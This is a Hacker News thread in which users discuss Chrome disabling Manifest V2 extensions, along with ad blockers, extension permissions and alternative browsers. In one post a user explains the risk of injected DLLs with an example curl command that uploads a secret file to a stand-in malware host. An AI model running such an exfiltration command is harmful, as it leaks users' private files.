Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

"Begin disabling installed extensions still using Manifest V2 in Chrome stable"

developer.chrome.com

Post reply on HN
Print view View original

221–230 of 490 posts

Re: "Begin disabling installed extensions still using Manifest V2 in Chrome stable"

#221

Post by tredre3 »

yjftsjthsd-h wrote: post #154
emestifs wrote: post #90

Earlier quoted context omitted.

My comment was sarcasm. The difference here is are you downloading a random dll from a well known source or from http://free-vpn-fast-internet.dwnloadfree.ru/free-chrome-vpn... ? My mom isn't going to know the difference and will click the big green DOWNLOAD NOW button blindly.

But that's not a difference, is it? Can't Windows enforce that DLLs have to be signed just like extensions?

Injecting a DLL in the browser implies code running with the browser's permissions, which means the DLL will be able to access everything on your system. For example `system("curl https://malware.com -F@/etc/secret-file")` will be possible. Another example is that it could also see all your saved passwords.

A javascript extension cannot do that. It is sandboxed and is bound to a permission system limiting what it can do on top of that.

Signing a DLL only proves that the author is who he says he is. Not that his intentions are good. Same for browser extensions.

So it's best to limit what the extension can do to begin with.

Re: "Begin disabling installed extensions still using Manifest V2 in Chrome stable"

#222

Post by QuantumGood »

"browsers using the ExtensionManifestV2Availability policy will be exempt from any browser changes until June 2025"

To extend ManifestV2 in Chrome, add the text below to a text file, saving and running it as a .reg will create and add a value of 2 to "ExtensionManifestV2Availability" in the HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome key

(When you open/run a .reg file, it updates your registry, usually preceeded by a warning.)

Alternatively, you could do this manually by pressing the Windows key, type "run" (without the quotes) and enter, type "regedit" (without the quotes) and enter, then navigate as far as you can to HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome key

You may find there is no "Chrome" key and will need to create it, as well as creating ExtensionManifestV2Availability

--------------------------------------

  [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome]


  "ExtensionManifestV2Availability"=dword:00000002

Re: "Begin disabling installed extensions still using Manifest V2 in Chrome stable"

#223

Post by Nullabillity »

Kbelicius wrote: post #189
btown wrote: post #51

Earlier quoted context omitted.

It's worth noting that the maintenance of the "lite" version is at some nonzero risk of burnout for its developers, ironically in part due to Mozilla being unnecessarily hostile: https://github.com/uBlockOrigin/uBOL-home/issues/197#issueco... discussed at https://news.ycombinator.com/item?id=41707418 - and while there's no plan yet to discontinue the Chrome MV3 compatible version, there are a million ways that this c…

> It's worth noting that the maintenance of the "lite" version is at some nonzero risk of burnout for its developers, ironically in part due to Mozilla being unnecessarily hostile: Why would you even use the lite version on firefox when the original works?

Lite doesn't require any permissions.

Re: "Begin disabling installed extensions still using Manifest V2 in Chrome stable"

#225

Post by skrause »

Kbelicius wrote: post #189
btown wrote: post #51

Earlier quoted context omitted.

It's worth noting that the maintenance of the "lite" version is at some nonzero risk of burnout for its developers, ironically in part due to Mozilla being unnecessarily hostile: https://github.com/uBlockOrigin/uBOL-home/issues/197#issueco... discussed at https://news.ycombinator.com/item?id=41707418 - and while there's no plan yet to discontinue the Chrome MV3 compatible version, there are a million ways that this c…

> It's worth noting that the maintenance of the "lite" version is at some nonzero risk of burnout for its developers, ironically in part due to Mozilla being unnecessarily hostile: Why would you even use the lite version on firefox when the original works?

I'm doing all my banking in a separate Firefox profile where uBlock Origin Lite is the only installed extension. So there a zero extensions that have permission to access the pages or requests.

Of course I'm still using the normal uBlock Origin in my main browsing profile.

Re: "Begin disabling installed extensions still using Manifest V2 in Chrome stable"

#226

Post by echelon »

bijection wrote: post #206

I've finally switched (back) to firefox today. I switched from firefox to chrome for their superior devtools a few years back, but hopefully firefox has had time to catch up. Everything old is new again!

This is why we need to break up Google.

Google is a de facto monopoly. They own the entire web. The gateway, the browser, the protocols, advertising, discovery.

Google is too big.

Re: "Begin disabling installed extensions still using Manifest V2 in Chrome stable"

#227

Post by bobajeff »

I'm addition to all the calls to switch to another browser I'd also have people consider the websites they use as potential dependencies on chrome.

Right now most websites don't seem to require any specific chrome feature but with Google's pushing some API's like their Web Environment Integrity proposal I'm worried sites will start to lock their site to Google Chrome and their official Mobile clients.

Re: "Begin disabling installed extensions still using Manifest V2 in Chrome stable"

#228

Post by kuhsaft »

sunshowers wrote: post #216
kuhsaft wrote: post #205

Earlier quoted context omitted.

It still exists, but now “ad blockers” can’t use the blocking API to record and forward metrics on hits. Ad blockers don’t even need the webRequest and webRequestBlocking permissions anymore. Now, if an ad blocker has webRequest permissions it’s a red flag. For example https://developer.chrome.com/docs/extensions/develop/concept... uses webRequest to send telemetry back to some remote server.

Thanks, I see how that can help. With Manifest v3, let's say I'm an ad blocker and I want to get access to metrics not to violate privacy, but just to report them to the user (X domains blocked, Y out of Z requests blocked, etc). How would I get access to those metrics?

Separate permission for debugging only available for development essentially. https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Web...

Otherwise, you can’t really without more invasive permissions.

https://stackoverflow.com/questions/74813523/chrome-extensio...

Re: "Begin disabling installed extensions still using Manifest V2 in Chrome stable"

#229

Post by yborg »

Sophira wrote: post #211
EasyMark wrote: post #139

Earlier quoted context omitted.

To my knowledge the “big” chrome engine alternatives aren’t either. I know that Vivaldi and Brave plan on keeping around v2 as long as it is economically feasible

Are you certain? The last I heard about it from Vivaldi[0], they were only going to keep the MV2 code around so long as it's in the upstream codebase: > We will keep Manifest v2 for as long as it’s still available in Chromium. We expect to drop support in June 2025, but we may maintain it longer or be forced to drop support for it sooner, depending on the precise nature of the changes to the code. Note that June 2025…

Vivaldi team does not respond to any comments asking about ongoing v2 manifest support; safe to assume it's gone as soon as it's out of Chromium upstream. Given Tetzchner's continual messaging on how important user privacy is to Vivaldi it seems like a strange decision, but I don't know how much effort would be required to maintain the support. They're a small team, so it would be understandable if they would just say it's too hard, but instead they have avoided the topic entirely, which suggests they agree with the direction.

Re: "Begin disabling installed extensions still using Manifest V2 in Chrome stable"

#230

Post by tyingq »

kuhsaft wrote: post #193
tyingq wrote: post #185

Earlier quoted context omitted.

> onBeforeRequest was removed because it is a massive spyware and malware vector. Yet you can still inject js right into the page. You just can't stop a page that was going to load from loading. They could have taken away the onBeforeRequest redirect capability and left just the onBeforeRequest cancel capability. Not sure I've heard of any spyware/malware depending on just that cancel capability.

That uses a different manifest permission. https://developer.chrome.com/blog/crx-scripting-api#breaking...

That's remotely hosted code...also a problem, but you can inject code that's not remotely hosted.
Post reply on HN